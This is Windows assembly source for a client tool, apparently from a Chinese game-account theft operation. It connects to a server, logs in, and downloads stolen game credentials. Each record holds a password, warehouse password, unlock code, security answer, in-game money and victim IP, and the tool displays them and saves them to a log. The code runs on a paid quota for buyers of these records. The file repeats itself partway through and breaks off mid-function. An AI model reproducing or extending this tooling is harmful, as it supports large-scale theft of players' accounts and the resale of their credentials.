;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; by asm, http://www.game8.cc/
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Client.asm
; 用户提信客户端 -- 下家取信工具
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 使用 nmake 或下列命令进行编译和链接:
; ml /c /coff Client1.asm
; rc Client.rc
; Link /subsystem:windows Client1.obj Client.res
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.386
.model flat, stdcall
option casemap :none ; case sensitive
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
include wsock32.inc
includelib wsock32.lib
include comctl32.inc
includelib comctl32.lib
include shell32.inc
includelib shell32.lib
includelib base64code.lib
include _Message.inc
include macros.inc
DecodeBase64 PROTO c :DWORD, :DWORD
EncodeBase64 PROTO c :DWORD, :DWORD,:DWORD
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; equ 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ICO_MAIN equ 1000
DLG_MAIN equ 2000
IDC_LIST1 equ 2001
IDC_COMBOBOXEX2 equ 2002
IDC_EDIT2 equ 2003
IDC_BUTTON4 equ 2004
IDC_PROGRESS1 equ 2005
IDC_AddUser equ 2006
IDC_UserName equ 2007
IDC_PassWord equ 2008
IDC_Qu equ 2009
IDC_Fuwuqi equ 2010
IDC_EDIT14 equ 2011
IDC_EDIT1 equ 2012
IDC_COMBOBOXEX1 equ 2013
IDC_EDIT3 equ 2014
IDC_SERVER equ 2015
IDC_USER equ 2016
IDC_PASS equ 2017
IDC_LOGIN equ 2018
IDC_LOGOUT equ 2019
IDC_BUTTON3 equ 2020
;IDC_BUTTON4 equ 2021
TCP_PORT equ 9999
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data?
hInstance dd ?
hWinMain dd ?
hSocket dd ?
dwLastTime dd ?
szServer db 16 dup (?)
szUserName db 12 dup (?)
szPassword db 12 dup (?)
szText db 256 dup (?)
hList dd ?
@sz Buffer db 5026 dup(?)
@dwListviewitem dd ?
hhang dd ?
szMessage db 100 dup(?)
szMessage1 db 100 dup(?)
szMessage2 db 100 dup(?)
szMessage3 db 100 dup(?)
szMessage4 db 100 dup(?)
szMessage5 db 100 dup(?)
szMessage6 db 100 dup(?)
szMessage7 db 100 dup(?)
szMessage8 db 100 dup(?)
szMessage9 db 100 dup(?)
szMessage10 db 100 dup(?)
hEdit dd ?
szWrite db 1024 dup(?)
@hFiledaka dd ?
@dwWritedaka dd ?
@dwWritebyte1 DWORD ?
szBaseUserName db 100 dup(?)
szBasePassword db 100 dup(?)
hNameSize dd ?
hPassSize dd ?
hProgress1 dd ?
@dwCount1 dd ?
.const
szErrIP db '无效的服务器IP地址!',0
szErrConnect db '无法连接到服务器!',0
szErrLogin db '无法登录到服务器,请检查用户名密码!',0
szSpar db ' : ',0
Fmt db "%s",13,10,13,10,0
szFmt db "用户:%s 密码:%s 仓库%s 解锁:%s 密保:%s 服务器:%s 等级:%s 金钱:%s 角色:%s",13,10,13,10,0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
include _SocketRoute.asm
include Fun.asm
include _ListView.asm
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 通讯线程
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WorkThread proc _lParam
local @stSin:sockaddr_in,@stMsg:MSG_STRUCT
;local @szBuffer[5026]:byte
pushad
invoke GetDlgItem,hWinMain,IDC_SERVER
invoke EnableWindow,eax,FALSE
invoke GetDlgItem,hWinMain,IDC_USER
invoke EnableWindow,eax,FALSE
invoke GetDlgItem,hWinMain,IDC_PASS
invoke EnableWindow,eax,FALSE
invoke GetDlgItem,hWinMain,IDC_LOGIN
invoke EnableWindow,eax,FALSE
;********************************************************************
; 创建 socket
;********************************************************************
invoke RtlZeroMemory,addr @stSin,sizeof @stSin
invoke inet_addr,addr szServer
.if eax == INADDR_NONE
invoke MessageBox,hWinMain,addr szErrIP,NULL,MB_OK or MB_ICONSTOP
jmp _Ret
.endif
mov @stSin.sin_addr,eax
mov @stSin.sin_family,AF_INET
invoke htons,TCP_PORT
mov @stSin.sin_port,ax
invoke socket,AF_INET,SOCK_STREAM,0
mov hSocket,eax
;********************************************************************
; 连接到服务器
;********************************************************************
invoke connect,hSocket,addr @stSin,sizeof @stSin
.if eax == SOCKET_ERROR
invoke MessageBox,hWinMain,addr szErrConnect,NULL,MB_OK or MB_ICONSTOP
jmp _Ret
.endif
;********************************************************************
; 登录到服务器
;********************************************************************
;invoke DecodeBase64,addr szUserName,addr szBaseUserName
;invoke DecodeBase64,addr szPassword,addr szBaseUserName
invoke lstrlen,addr szUserName
mov hNameSize,eax
invoke EncodeBase64,addr szUserName,addr szBaseUserName,hNameSize
;invoke MessageBox,0,addr szBaseUserName,0,0
invoke lstrlen,addr szPassword
mov hPassSize,eax
invoke EncodeBase64,addr szPassword,addr szBasePassword,hPassSize
;invoke MessageBox,0,addr szBasePassword,0,0
invoke lstrcpy,addr @stMsg.Login.szUserName,addr szBaseUserName
invoke lstrcpy,addr @stMsg.Login.szPassword,addr szBasePassword
mov @stMsg.MsgHead.dwLength,sizeof MSG_HEAD+sizeof MSG_LOGIN
mov @stMsg.MsgHead.dwCmdId,CMD_LOGIN
invoke send,hSocket,addr @stMsg,@stMsg.MsgHead.dwLength,0
cmp eax,SOCKET_ERROR
; jz @F
invoke _RecvPacket,hSocket,addr @stMsg,sizeof @stMsg
; or eax,eax
; jnz @F
; cmp @stMsg.MsgHead.dwCmdId,CMD_LOGIN_RESP
; jnz @F
.if @stMsg.MsgHead.dwCmdId == CMD_LOGIN_RESP
.if @stMsg.LoginResp.dbResult != NULL
; @@:
invoke MessageBox,hWinMain,addr szErrLogin,NULL,MB_OK or MB_ICONSTOP
jmp _Ret
.endif
.endif
invoke GetDlgItem,hWinMain,IDC_LOGOUT
invoke EnableWindow,eax,TRUE
;invoke GetDlgItem,hWinMain,IDC_TEXT
invoke EnableWindow,eax,TRUE
invoke GetTickCount
mov dwLastTime,eax
;********************************************************************
; 循环接收消息
;********************************************************************
;invoke SendMessage,hProgress1,PBM_SETRANGE32,0,@dwCount1
;invoke SendMessage,hProgress1,PBM_SETBARCOLOR,0,00FF0000h
invoke SendMessage,hList,LVM_DELETEALLITEMS,0,0
mov hhang,0
;mov @dwCount1,0
.while hSocket
inc hhang
;inc @dwCount1
;invoke SendMessage,hProgress1,PBM_SETPOS,@dwCount1,0
invoke GetTickCount
sub eax,dwLastTime
.break .if eax >= 60 * 1000
invoke _WaitData,hSocket,200 * 1000
.break .if eax == SOCKET_ERROR
.if eax
invoke _RecvPacket,hSocket,addr @stMsg,sizeof @stMsg
.break .if eax
.if @stMsg.MsgHead.dwCmdId == CMD_MSG_DOWN
invoke RtlZeroMemory,addr szWrite,sizeof szWrite
invoke RtlZeroMemory,addr @szBuffer,sizeof @szBuffer
;invoke wsprintf,addr @szBuffer,addr Fmt,addr @stMsg.MsgDown.szContent
;invoke SendDlgItemMessage,hWinMain,IDC_LIST1,LB_ADDSTRING,0,addr @szBuffer
invoke _ListViewSetItem,hList,hhang,-1,0 ;插入新的一行
mov @dwListviewitem,eax
invoke RtlZeroMemory,addr szText,sizeof szText
invoke wsprintf,addr szText,CTXT("%d"),hhang
invoke _ListViewSetItem,hList,@dwListviewitem,0,addr szText
invoke _ListViewSetItem,hList,@dwListviewitem,1,addr @stMsg.MsgDown.szUser
invoke _ListViewSetItem,hList,@dwListviewitem,2,addr @stMsg.MsgDown.szPass
invoke _ListViewSetItem,hList,@dwListviewitem,3,addr @stMsg.MsgDown.szCKpass
invoke _ListViewSetItem,hList,@dwListviewitem,4,addr @stMsg.MsgDown.szJieSuo
invoke _ListViewSetItem,hList,@dwListviewitem,5,addr @stMsg.MsgDown.szMibao
invoke _ListViewSetItem,hList,@dwListviewitem,6,addr @stMsg.MsgDown.szServer
invoke _ListViewSetItem,hList,@dwListviewitem,7,addr @stMsg.MsgDown.szDengji
invoke _ListViewSetItem,hList,@dwListviewitem,8,addr @stMsg.MsgDown.szJinqian
invoke _ListViewSetItem,hList,@dwListviewitem,9,addr @stMsg.MsgDown.szJiaose
invoke _ListViewSetItem,hList,@dwListviewitem,10,addr @stMsg.MsgDown.szIP
invoke _ListViewSetItem,hList,@dwListviewitem,11,addr @stMsg.MsgDown.szTime
invoke wsprintf,addr szWrite,addr szFmt,/
addr @stMsg.MsgDown.szUser,addr @stMsg.MsgDown.szPass,addr @stMsg.MsgDown.szCKpass,addr @stMsg.MsgDown.szJieSuo,/
addr @stMsg.MsgDown.szMibao,addr @stMsg.MsgDown.szServer,addr @stMsg.MsgDown.szDengji,addr @stMsg.MsgDown.szJinqian,/
addr @stMsg.MsgDown.szJiaose;,addr @stMsg.MsgDown.szIP,addr @stMsg.MsgDown.szTime
invoke GetCurrentDirectory,200,addr @szBuffer
invoke lstrcat,addr @szBuffer,CTXT("/游戏信封文本.log")
invoke CreateFile,addr @szBuffer,GENERIC_WRITE or GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,/
0,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
mov @hFiledaka,eax
invoke SetFilePointer,@hFiledaka,0,NULL,FILE_END
invoke lstrlen,addr szWrite
mov @dwWritedaka,eax
invoke WriteFile,@hFiledaka,addr szWrite,@dwWritedaka,addr @dwWritebyte1,NULL
invoke CloseHandle,@hFiledaka
.endif
.if @stMsg.MsgHead.dwCmdId == CMD_CHECK_Game
invoke MessageBox,0,CTXT("已经到达你所预定的信封量,要想继续提信,请续费"),CTXT("提示"),MB_ICONQUESTION
jmp _Ret
.endif
.if @stMsg.MsgHead.dwCmdId == CMD_CHECK_Name
invoke MessageBox,0,CTXT("错误的用户名!"),CTXT("提示"),MB_ICONQUESTION
jmp _Ret
.endif
.if @stMsg.MsgHead.dwCmdId == CMD_CHECK_Game1
;invoke lstrcat,addr @szBuffer,addr @stMsg.MsgDown.szContent
;invoke RtlZeroMemory,addr @szBuffer,sizeof @szBuffer
;invoke wsprintf,addr @szBuffer,addr Fmt,addr @stMsg.MsgDown.szContent
;invoke SendMessage,hList,EM_SETSEL,-1,0
;invoke SendMessage,hList,EM_REPLACESEL,FALSE,addr @szBuffer
;invoke MessageBox,0,addr @stMsg.MsgDown.szContent,0,0
;invoke SendDlgItemMessage,hWinMain,IDC_LIST1,LB_ADDSTRING,0,addr @szBuffer
;invoke SendDlgItemMessage,hWinMain,IDC_INFO,LB_INSERTSTRING,0,addr @szBuffer
.endif
invoke GetTickCount
mov dwLastTime,eax
.endif
.endw
jmp _Ret
invoke GetDlgItem,hWinMain,IDOK
invoke EnableWindow,eax,FALSE
;invoke GetDlgItem,hWinMain,IDC_TEXT
invoke EnableWindow,eax,FALSE
invoke GetDlgItem,hWinMain,IDC_LOGOUT
invoke EnableWindow,eax,FALSE
;********************************************************************
_Ret:
.if hSocket
invoke closesocket,hSocket
xor eax,eax
mov hSocket,eax
.endif
invoke GetDlgItem,hWinMain,IDC_SERVER
invoke EnableWindow,eax,TRUE
invoke GetDlgItem,hWinMain,IDC_USER
invoke EnableWindow,eax,TRUE
invoke GetDlgItem,hWinMain,IDC_PASS
invoke EnableWindow,eax,TRUE
invoke GetDlgItem,hWinMain,IDC_LOGIN
invoke EnableWindow,eax,TRUE
popad
ret
_WorkThread endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 主窗口程序
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcDlgMain proc uses ebx edi esi hWnd,wMsg,wParam,lParam
local @stWsa:WSADATA,@stMsg:MSG_STRUCT
mov eax,wMsg
;********************************************************************
.if eax == WM_COMMAND
mov eax,wParam
;********************************************************************
; 全部输入IP地址,用户名和密码后则激活"登录"按钮
;********************************************************************
.if (ax == IDC_SERVER) || (ax == IDC_USER) || (ax == IDC_PASS)
invoke GetDlgItemText,hWinMain,IDC_SERVER,addr szServer,sizeof szServer
invoke GetDlgItemText,hWinMain,IDC_USER,addr szUserName,sizeof szUserName
invoke GetDlgItemText,hWinMain,IDC_PASS,addr szPassword,sizeof szPassword
invoke GetDlgItem,hWinMain,IDC_LOGIN
.if szServer && szUserName && szPassword && !hSocket
invoke EnableWindow,eax,TRUE
.else
invoke EnableWindow,eax,FALSE
.endif
;********************************************************************
; 登录成功后,输入聊天语句后才激活"发送"按钮
;********************************************************************
; .elseif ax == IDC_LIST1
; invoke GetDlgItemText,hWinMain,IDC_TEXT,addr szText,sizeof szText
; invoke GetDlgItem,hWinMain,IDOK
; .if szText && hSocket
; invoke EnableWindow,eax,TRUE
; .else
; invoke EnableWindow,eax,FALSE
; .endif
;********************************************************************
.elseif ax == IDC_LOGIN
invoke DeleteFile,CTXT("游戏信封文本.log")
push ecx
invoke CreateThread,NULL,0,offset _WorkThread,0,NULL,esp
pop ecx
invoke CloseHandle,eax
.elseif ax == IDC_BUTTON4
invoke DeleteFile,CTXT("游戏信封文本.log")
push ecx
invoke CreateThread,NULL,0,offset _WorkThread,0,NULL,esp
pop ecx
invoke CloseHandle,eax
;********************************************************************
.elseif ax == IDC_LOGOUT
@@:
.if hSocket
invoke closesocket,hSocket
xor eax,eax
mov hSocket,eax
.endif
invoke GetDlgItem,hWinMain,IDC_SERVER
invoke EnableWindow,eax,TRUE
invoke GetDlgItem,hWinMain,IDC_USER
invoke EnableWindow,eax,TRUE
invoke GetDlgItem,hWinMain,IDC_PASS
invoke EnableWindow,eax,TRUE
invoke GetDlgItem,hWinMain,IDC_LOGIN
invoke EnableWindow,eax,TRUE
;********************************************************************
.elseif ax == IDOK
invoke lstrcpy,addr @stMsg.MsgUp.szContent,addr szText
invoke lstrlen,addr @stMsg.MsgUp.szContent
inc eax
mov @stMsg.MsgUp.dwLength,eax
add eax,sizeof MSG_HEAD+MSG_UP.szContent
mov @stMsg.MsgHead.dwLength,eax
mov @stMsg.MsgHead.dwCmdId,CMD_MSG_UP
invoke send,hSocket,addr @stMsg,@stMsg.MsgHead.dwLength,0
cmp eax,SOCKET_ERROR
jz @B
invoke GetTickCount
mov dwLastTime,eax
; invoke SetDlgItemText,hWinMain,IDC_TEXT,NULL
; invoke GetDlgItem,hWinMain,IDC_TEXT
invoke SetFocus,eax
.endif
;********************************************************************
.elseif eax == WM_CLOSE
.if ! hSocket
invoke WSACleanup
invoke EndDialog,hWinMain,NULL
.endif
;********************************************************************
.elseif eax == WM_INITDIALOG
push hWnd
pop hWinMain
invoke LoadIcon,hInstance,ICO_MAIN
invoke SendMessage,hWnd,WM_SETICON,ICON_BIG,eax
invoke GetDlgItem,hWnd,IDC_LIST1
mov hList,eax
invoke GetDlgItem,hWnd,IDC_BUTTON3
mov hEdit,eax
;invoke GetDlgItem,hWnd,IDC_PROGRESS1
;mov hProgress1,eax
;mov @dwCount1,0
;invoke SendMessage,hProgress1,PBM_SETRANGE32,0,@dwCount1
;invoke SendMessage,hProgress1,PBM_SETBARCOLOR,0,00FF0000h
invoke _ListViewAddColumn,hList,0,50,CTXT("ID")
invoke _ListViewAddColumn,hList,1,100,CTXT("用户")
invoke _ListViewAddColumn,hList,2,100,CTXT("密码")
invoke _ListViewAddColumn,hList,3,80,CTXT("仓库密码")
invoke _ListViewAddColumn,hList,4,100,CTXT("解锁码") ;小姐
invoke _ListViewAddColumn,hList,5,80,CTXT("密保") ;小姐
invoke _ListViewAddColumn,hList,6,80,CTXT("服务器")
invoke _ListViewAddColumn,hList,7,50,CTXT("等级")
invoke _ListViewAddColumn,hList,8,50,CTXT("金钱")
invoke _ListViewAddColumn,hList,9,50,CTXT("角色")
invoke _ListViewAddColumn,hList,10,100,CTXT("IP")
invoke _ListViewAddColumn,hList,11,100,CTXT("时间")
invoke WSAStartup,101h,addr @stWsa
; invoke SendDlgItemMessage,hWinMain,IDC_SERVER,EM_SETLIMITTEXT,15,0
; invoke SendDlgItemMessage,hWinMain,IDC_USER,EM_SETLIMITTEXT,11,0
; invoke SendDlgItemMessage,hWinMain,IDC_PASS,EM_SETLIMITTEXT,11,0
; invoke SendDlgItemMessage,hWinMain,IDC_TEXT,EM_SETLIMITTEXT,250,0
invoke ShellExecute,0,0,CTXT("http://www.game8.cc/"),0,0,SW_SHOW
.elseif eax == WM_NOTIFY
mov eax,wParam
.if eax == IDC_LIST1
push edi
mov edi, lParam
.if [edi.NMHDR].code == NM_DBLCLK ;双击
invoke RtlZeroMemory,addr szMessage,sizeof szMessage
invoke RtlZeroMemory,addr szMessage1,sizeof szMessage
invoke RtlZeroMemory,addr szMessage2,sizeof szMessage
invoke RtlZeroMemory,addr szMessage3,sizeof szMessage
invoke RtlZeroMemory,addr szMessage4,sizeof szMessage
invoke RtlZeroMemory,addr szMessage5,sizeof szMessage
invoke RtlZeroMemory,addr szMessage6,sizeof szMessage
invoke RtlZeroMemory,addr szMessage7,sizeof szMessage
invoke RtlZeroMemory,addr szMessage8,sizeof szMessage
invoke RtlZeroMemory,addr szMessage9,sizeof szMessage
invoke RtlZeroMemory,addr szMessage10,sizeof szMessage
invoke RtlZeroMemory,addr szWrite,sizeof szWrite
invoke SetDlgItemText,hWnd,IDC_BUTTON3,CTXT(" ")
invoke _ListViewSelect,hList,1,addr szMessage ,sizeof szMessage
invoke _ListViewSelect,hList,2,addr szMessage1 ,sizeof szMessage
invoke _ListViewSelect,hList,3,addr szMessage2 ,sizeof szMessage
invoke _ListViewSelect,hList,4,addr szMessage3 ,sizeof szMessage
invoke _ListViewSelect,hList,5,addr szMessage4 ,sizeof szMessage
invoke _ListViewSelect,hList,6,addr szMessage5 ,sizeof szMessage
invoke _ListViewSelect,hList,7,addr szMessage6 ,sizeof szMessage
invoke _ListViewSelect,hList,8,addr szMessage7 ,sizeof szMessage
invoke _ListViewSelect,hList,9,addr szMessage8 ,sizeof szMessage
invoke _ListViewSelect,hList,10,addr szMessage9 ,sizeof szMessage
invoke _ListViewSelect,hList,11,addr szMessage10 ,sizeof szMessage
invoke wsprintf,addr szWrite,CTXT("用户:%s 密码:%s 仓库%s 解锁:%s 密保:%s 服务器:%s 等级:%s 金钱:%s 角色:%s IP:%s 时间:%s"),/
addr szMessage,addr szMessage1,addr szMessage2,addr szMessage3,addr szMessage4,addr szMessage5,addr szMessage6,addr szMessage7,addr szMessage8,/
addr szMessage9,addr szMessage10
invoke SendMessage,hEdit,EM_SETSEL,-1,0
invoke SendMessage,hEdit,EM_REPLACESEL,FALSE,addr szWrite
.endif
pop edi
.endif
;********************************************************************
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
_ProcDlgMain endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 程序开始
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke InitCommonControls
invoke DialogBoxParam,eax,DLG_MAIN,NULL,offset _ProcDlgMain,0
invoke ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; by asm, http://www.game8.cc/
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Client.asm
; 用户提信客户端 -- 下家取信工具
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 使用 nmake 或下列命令进行编译和链接:
; ml /c /coff Client1.asm
; rc Client.rc
; Link /subsystem:windows Client1.obj Client.res
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.386
.model flat, stdcall
option casemap :none ; case sensitive
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
include wsock32.inc
includelib wsock32.lib
include comctl32.inc
includelib comctl32.lib
include shell32.inc
includelib shell32.lib
includelib base64code.lib
include _Message.inc
include macros.inc
DecodeBase64 PROTO c :DWORD, :DWORD
EncodeBase64 PROTO c :DWORD, :DWORD,:DWORD
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; equ 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ICO_MAIN equ 1000
DLG_MAIN equ 2000
IDC_LIST1 equ 2001
IDC_COMBOBOXEX2 equ 2002
IDC_EDIT2 equ 2003
IDC_BUTTON4 equ 2004
IDC_PROGRESS1 equ 2005
IDC_AddUser equ 2006
IDC_UserName equ 2007
IDC_PassWord equ 2008
IDC_Qu equ 2009
IDC_Fuwuqi equ 2010
IDC_EDIT14 equ 2011
IDC_EDIT1 equ 2012
IDC_COMBOBOXEX1 equ 2013
IDC_EDIT3 equ 2014
IDC_SERVER equ 2015
IDC_USER equ 2016
IDC_PASS equ 2017
IDC_LOGIN equ 2018
IDC_LOGOUT equ 2019
IDC_BUTTON3 equ 2020
;IDC_BUTTON4 equ 2021
TCP_PORT equ 9999
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data?
hInstance dd ?
hWinMain dd ?
hSocket dd ?
dwLastTime dd ?
szServer db 16 dup (?)
szUserName db 12 dup (?)
szPassword db 12 dup (?)
szText db 256 dup (?)
hList dd ?
@sz Buffer db 5026 dup(?)
@dwListviewitem dd ?
hhang dd ?
szMessage db 100 dup(?)
szMessage1 db 100 dup(?)
szMessage2 db 100 dup(?)
szMessage3 db 100 dup(?)
szMessage4 db 100 dup(?)
szMessage5 db 100 dup(?)
szMessage6 db 100 dup(?)
szMessage7 db 100 dup(?)
szMessage8 db 100 dup(?)
szMessage9 db 100 dup(?)
szMessage10 db 100 dup(?)
hEdit dd ?
szWrite db 1024 dup(?)
@hFiledaka dd ?
@dwWritedaka dd ?
@dwWritebyte1 DWORD ?
szBaseUserName db 100 dup(?)
szBasePassword db 100 dup(?)
hNameSize dd ?
hPassSize dd ?
hProgress1 dd ?
@dwCount1 dd ?
.const
szErrIP db '无效的服务器IP地址!',0
szErrConnect db '无法连接到服务器!',0
szErrLogin db '无法登录到服务器,请检查用户名密码!',0
szSpar db ' : ',0
Fmt db "%s",13,10,13,10,0
szFmt db "用户:%s 密码:%s 仓库%s 解锁:%s 密保:%s 服务器:%s 等级:%s 金钱:%s 角色:%s",13,10,13,10,0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
include _SocketRoute.asm
include Fun.asm
include _ListView.asm
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 通讯线程
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WorkThread proc _lParam
local @stSin:sockaddr_in,@stMsg:MSG_STRUCT
;local @szBuffer[5026]:byte
pushad
invoke GetDlgItem,hWinMain,IDC_SERVER
invoke EnableWindow,eax,FALSE
invoke GetDlgItem,hWinMain,IDC_USER
invoke EnableWindow,eax,FALSE
invoke GetDlgItem,hWinMain,IDC_PASS
invoke EnableWindow,eax,FALSE
invoke GetDlgItem,hWinMain,IDC_LOGIN
invoke EnableWindow,eax,FALSE
;********************************************************************
; 创建 socket
;********************************************************************
invoke RtlZeroMemory,addr @stSin,sizeof @stSin
invoke inet_addr,addr szServer
.if eax == INADDR_NONE
invoke MessageBox,hWinMain,addr szErrIP,NULL,MB_OK or MB_ICONSTOP
jmp _Ret
.endif
mov @stSin.sin_addr,eax
mov @stSin.sin_family,AF_INET
invoke htons,TCP_PORT
mov @stSin.sin_port,ax
invoke socket,AF_INET,SOCK_STREAM,0
mov hSocket,eax
;********************************************************************
; 连接到服务器
;********************************************************************
invoke connect,hSocket,addr @stSin,sizeof @stSin
.if eax == SOCKET_ERROR
invoke MessageBox,hWinMain,addr szErrConnect,NULL,MB_OK or MB_ICONSTOP
jmp _Ret
.endif
;********************************************************************
; 登录到服务器
;********************************************************************
;invoke DecodeBase64,addr szUserName,addr szBaseUserName
;invoke DecodeBase64,addr szPassword,addr szBaseUserName
invoke lstrlen,addr szUserName
mov hNameSize,eax
invoke EncodeBase64,addr szUserName,addr szBaseUserName,hNameSize
;invoke MessageBox,0,addr szBaseUserName,0,0
invoke lstrlen,addr szPassword
mov hPassSize,eax
invoke EncodeBase64,addr szPassword,addr szBasePassword,hPassSize
;invoke MessageBox,0,addr szBasePassword,0,0
invoke lstrcpy,addr @stMsg.Login.szUserName,addr szBaseUserName
invoke lstrcpy,addr @stMsg.Login.szPassword,addr szBasePassword
mov @stMsg.MsgHead.dwLength,sizeof MSG_HEAD+sizeof MSG_LOGIN
mov @stMsg.MsgHead.dwCmdId,CMD_LOGIN
invoke send,hSocket,addr @stMsg,@stMsg.MsgHead.dwLength,0
cmp eax,SOCKET_ERROR
; jz @F
invoke _RecvPacket,hSocket,addr @stMsg,sizeof @stMsg
; or eax,eax
; jnz @F
; cmp @stMsg.MsgHead.dwCmdId,CMD_LOGIN_RESP
; jnz @F
.if @stMsg.MsgHead.dwCmdId == CMD_LOGIN_RESP
.if @stMsg.LoginResp.dbResult != NULL
; @@:
invoke MessageBox,hWinMain,addr szErrLogin,NULL,MB_OK or MB_ICONSTOP
jmp _Ret
.endif
.endif
invoke GetDlgItem,hWinMain,IDC_LOGOUT
invoke EnableWindow,eax,TRUE
;invoke GetDlgItem,hWinMain,IDC_TEXT
invoke EnableWindow,eax,TRUE
invoke GetTickCount
mov dwLastTime,eax
;********************************************************************
; 循环接收消息
;********************************************************************
;invoke SendMessage,hProgress1,PBM_SETRANGE32,0,@dwCount1
;invoke SendMessage,hProgress1,PBM_SETBARCOLOR,0,00FF0000h
invoke SendMessage,hList,LVM_DELETEALLITEMS,0,0
mov hhang,0
;mov @dwCount1,0
.while hSocket
inc hhang
;inc @dwCount1
;invoke SendMessage,hProgress1,PBM_SETPOS,@dwCount1,0
invoke GetTickCount
sub eax,dwLastTime
.break .if eax >= 60 * 1000
invoke _WaitData,hSocket,200 * 1000
.break .if eax == SOCKET_ERROR
.if eax
invoke _RecvPacket,hSocket,addr @stMsg,sizeof @stMsg
.break .if eax
.if @stMsg.MsgHead.dwCmdId == CMD_MSG_DOWN
invoke RtlZeroMemory,addr szWrite,sizeof szWrite
invoke RtlZeroMemory,addr @szBuffer,sizeof @szBuffer
;invoke wsprintf,addr @szBuffer,addr Fmt,addr @stMsg.MsgDown.szContent
;invoke SendDlgItemMessage,hWinMain,IDC_LIST1,LB_ADDSTRING,0,addr @szBuffer
invoke _ListViewSetItem,hList,hhang,-1,0 ;插入新的一行
mov @dwListviewitem,eax
invoke RtlZeroMemory,addr szText,sizeof szText
invoke wsprintf,addr szText,CTXT("%d"),hhang
invoke _ListViewSetItem,hList,@dwListviewitem,0,addr szText
invoke _ListViewSetItem,hList,@dwListviewitem,1,addr @stMsg.MsgDown.szUser
invoke _ListViewSetItem,hList,@dwListviewitem,2,addr @stMsg.MsgDown.szPass
invoke _ListViewSetItem,hList,@dwListviewitem,3,addr @stMsg.MsgDown.szCKpass
